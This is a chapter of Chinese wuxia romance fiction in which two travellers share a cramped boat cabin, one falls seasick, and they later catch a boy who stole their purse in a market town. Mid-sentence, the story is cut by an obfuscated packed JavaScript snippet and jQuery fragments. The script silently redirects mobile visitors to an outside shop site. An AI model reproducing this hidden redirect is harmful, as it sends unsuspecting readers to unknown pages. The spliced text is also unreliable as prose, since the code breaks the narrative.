舶主只提供给他们一个舱室,舱内也只有一张窄榻。
谢唯云看了看那张窄榻,又看了看施恨玉。他先发制人,往榻沿一坐,拍了拍褥面,宣布道:“我睡床。”
“那我呢?”
施恨玉向周围环顾,除却窄榻,舱里只有几只矮凳和一张小方桌。
他眉梢一挑,朝地上努努嘴:“地上呗。”
“我是姑娘家,你不是走江湖的吗?走江湖的人不都风餐露宿的?”施恨玉走上前,伸手拽住他胳膊想把他从榻上拉起来。
谢唯云反手扣住她腕子:“走江湖那也不代表我喜欢睡地板。姑娘家又怎么了?我朝可没有哪条律法规定凡事都得让着姑娘家,我品行不好,不让。”
他整个人往榻上一躺,四肢摊开占满了整个榻面。
谢唯云得意洋洋:“榻就这么窄,我躺满了,你没地儿了。”
施恨玉看着他那副占山为王的架势,默默在心中权衡了一下是跟他讲道理划算,还是直接行动划算。
随后,她弯下腰,伸出手去。谢唯云以为她要挠自己痒痒,慌忙往窄榻内侧一缩。
施恨玉逮住这个机会,去拽他压着的枕头。
谢唯云眼疾手快,一把抱住枕头翻了个身,背对着她,把枕头死死搂在怀里。
施恨玉的手恰好够到枕头边角,却被他翻身带得一个趔趄,手肘撑在他耳侧的褥面上,将他罩在了下方。
二人俱是一愣,就那样僵在那儿,谁也没动。
舱外的水声哗哗地淌着,船身轻轻晃了一下。
施恨玉收回手,直起身来,偏过头咳了一声。
谢唯云默不作声地下了榻,拾起包袱,解开后从里头抽出一件叠得方方正正的外衫,抖开来往地板上一铺。
“你干嘛?”她看着他的举动,心中隐隐有了猜测。
“睡觉。”他将外衫铺平,又弯腰拍了拍。
“你睡地上?”
“不然呢?”他抬眼看了她一下,目光从那窄榻上扫过,又落回她脸上,打趣道,“那榻我一个人躺都转不开身,难道咱俩叠着睡?”
施恨玉的耳根一下子就热了。
她鞋底蹭着船板,闷声道:“那你也不能睡地上呀。这船板多硬,夜里又凉,回头腰酸背痛的,我们还要赶路呢。”
他已然躺好了:“没事,江湖人风餐露宿的,我睡惯了。”
施恨玉抿着唇,站在原地不动。
谢唯云心生无奈,起身走近她,推着她的肩头轻轻把她往榻上带。
施恨玉跌坐在榻上,他顺势将薄被从她身后拉过来罩下。她被裹进了被子里,只露出一张脸。
他又为她脱去鞋履,按躺于榻上。
“老实睡,抑或是挤一挤,你选一个。”
闻言,施恨玉将被子往上拉了拉,盖住半张脸,只露出一双眼睛。
“你在地上蜷一夜不打紧的。”她道。
谢唯云笑叹一声,迈步走回,背对着她躺下来,手枕在脑后。
“犹青。”施恨玉轻声开口。
“嗯?”
“地上凉不凉?”
谢唯云沉默了一息,才道:“你下来试试不就知道了。”
施恨玉弯了弯嘴角,没再应声。她听着水声哗哗,听着风声猎猎,却怎么也睡不着。
油灯的火苗在窗缝灌进来的风里发颤,倏地灭了。舱里陷入黑暗,河上的月光漏进来一线银白,落在船板,恰将两个人之间的空处照出一道淡淡的光痕。
船身渐渐颠簸起来,一下一下地晃荡。
施恨玉好不容易起了的困意被搅散,她忽然觉得有些闷,胃里像坠着什么东西。她只以为是没喘匀气,摁住胸口,可胃里直翻涌。
船身随着水波一摇一晃,船头猛地往下一沉又弹起来。
施恨玉喉间涌上酸意,她赶忙捂嘴,撑起身,手忙脚乱地去摸舱门。
夜风凉飕飕的,她趴到船舷边,整个人弓着腰呕吐,胃里那点晚饭全倒进了木桶里,紧接着是泛着苦味的酸水,一口接一口,止也止不住。
“你怎……晕船了?”声音由含糊变得慌张。
身后传来急促的脚步声,一只手轻轻落在她后背上,掌心温热,隔着衣衫稳稳地拍着。
她没有力气回头,也说不出话。只觉得胃里空空的,一抽一抽的。她又干呕了几下,什么也吐不出来了。
“没事没事,吐出来就好了。”谢唯云担忧地看着她,平日里那吊儿郎当的散漫劲儿全没了。
施恨玉吐得腿都软了,直起身时更是摇摇晃晃的。酸水顺着嘴角淌下来,她抬袖要去擦,被谢唯云先一步拦住,他取出帕子,按在她唇角,笨拙地替她擦拭。
她抬眼看他,眼瞳湿漉漉的,冷汗浸湿鬓发,面色也惨白。
“进去么?”
施恨玉点点头。
谢唯云伸手绕过她后背,揽住她肩侧,将她从船舷边半扶半抱地弄回舱里。
谢唯云将船窗推开得更大些,好让江风灌入冲散她胃里的浊气。他又倒了水,将瓷碗凑到她唇边。
施恨玉就着他的手抿了一口水,清水淌过喉咙,将胃里那股翻涌的酸涩压下去几分。
她往后一靠,后脑抵在舱壁上,迷蒙地看着身旁的谢唯云。
她问:“还要多久?”
“到云州怕是还要一阵子,我们到下个码头就下船吧。”谢唯云提议道。
她没有力气说什么,只微微点了点头,闭上了眼。
船身轻晃,施恨玉的额头磕在他颈窝,他僵了一瞬。
发丝蹭过他脖颈的皮肤,痒痒的。
谢唯云抬手,犹豫一番,替她将滑落的衣襟拢了拢,又将手收回去,搁在自己膝上。
他不敢动,僵着半边臂膀,怕惊着她。
-
下了船,二人沿着河堤走了一阵,拐上通往镇子的路。
镇口立着一座褪了色的石牌坊,匾额上刻有“曲塘镇”字样。
施恨玉走得有些渴了,在一家茶摊前停下来叫了两碗凉茶,递了一碗给谢唯云,自己端起一碗仰头喝了大半,才觉得暑气散了些许。
谢唯云站在她身侧,正低头解包袱带想摸几个铜板付茶钱,手指探进包袱里摸了一圈,动作忽而顿住。
他眉头一拧,将包袱打开来重新翻了一遍,里头的衣物和干粮都在,可底部那只装着碎银和铜钱的钱袋却不翼而飞了。
施恨玉见他神色有变,放下茶碗,凑过去看了看。
幸好她尚有余钱,付过钱,才低声问他:“什么时候不见的?船上还是路上?”
“下船时还在,但方才过镇口的时候,有人撞了我一下。”他仔细回想,眉间拧得更紧,“一个穿得破破烂烂的半大孩子,瘦得跟竹竿似的,跑得倒挺快,我当时只以为是镇上谁家的孩子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676494|207486||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
顽皮乱跑。”
“走吧,捉贼去。”施恨玉站起身,拍了拍谢唯云肩膀。
两人往前追了一段,谢唯云在一处卖馄饨的摊子前停住了脚。
摊子边的矮凳上坐着一个瘦伶伶的少年,约莫十四五岁,穿一件满是补丁的灰布衫,裤腿短了一截,露着细瘦的脚踝。
他正埋头端着一碗馄饨呼噜呼噜地吃,面前还摆着一碟子醋。他吃得专心,浑然不觉有人已经站到了他身侧。
施恨玉在他旁边那张矮凳上坐下来,托着腮看他吃馄饨。
少年吃得正香,夹了一个馄饨蘸了醋往嘴里送,忽觉旁边有道目光落在他脸上。他偏过头来,嘴里还叼着馄饨,对上施恨玉笑眯眯的脸,他一下就呛住了,馄饨汤从嘴角溢出来,他被烫得直吸溜舌头。
“吃慢点。”施恨玉笑眯眯的,“又没人和你抢。”
他抹了把嘴,眼里闪过一丝慌乱。他放下筷子,打量她:“这位姐姐,你坐我旁边做什么?我不认识你。”
“你不认识我不要紧,你认识钱袋就行了。青色布袋,红线扎的口。你吃这碗馄饨的钱,怕是就从那钱袋里掏出来的罢?你身上还揣着别人的钱袋,吃得安心么?”
他飞快瞥了眼谢唯云,见人神色冷淡,手边还有剑,不由缩了缩脖子,转而对着施恨玉作无辜状:“姐姐你说什么呢?什么钱袋?我用自个儿的钱买馄饨吃,怎么就不安心了?”
施恨玉看着他面前的那碟醋,高声问道:“店家,这醋碟是怎么算的?”
“额外收取两文钱。”
施恨玉点点头,漫不经心道:“你一个穿得这般寒酸的孩子,倒舍得花两文钱蘸醋吃馄饨?”
“我……我攒了好久的钱,就馋这一口。姐姐你管得也太宽了罢?我吃碗馄饨还得跟你报账不成?”他应变的本事倒不差,随口胡诌,手还悄悄地往袖口里缩,将钱袋往里压。
谢唯云眼尖,剑鞘下压,按住他的手。
“伸手。”谢唯云冷声道。
少年眼珠一转,“哎哟”一声捂住了肚子,整张脸皱成一团:“不行了不行了,我肚子疼。”
“肚子疼啊?”谢唯云手肘碰了碰施恨玉,善解人意道:“巧了,这位姐姐会扎针,保证给你治好了。来,把袖子撸上去。”
施恨玉作势去翻布包,少年脸色瞬间变了,连连后退,摇头:“我好多了,不用扎。”
“那好,我们接着说钱袋的事。”她似笑非笑。
少年见装病不成,索性换了副面孔,将袖里的钱袋一把扯出来攥在手心里,扬着下巴看她,无赖道:“这钱袋是我捡的,凭什么说是你的?上面写你名字了?”
谢唯云哀叹一声,伸手指了指:“你瞧,那一角是不是刺了字。”
少年轻蔑一笑,低头去看钱袋角,还真有,他错愕地抬头看向谢唯云,低声咒骂了一句。
“不会这么巧,我们连名字都一样吧?”谢唯云故作震惊。
他脸上一阵红一阵白,再怎么狡辩也是徒劳,于是将钱袋搁在桌上,往施恨玉那边推了推。
“给你,”他不太甘心,“我只拿了一点买馄饨,算我借的,回头还你。”
他扔完钱袋转身就想跑,被谢唯云堵住。
他抬头对上谢唯云那张没什么表情的脸,当即转回来对施恨玉道:“钱袋还了,我能走了吧?”
“不行。”谢唯云轻嗤一声。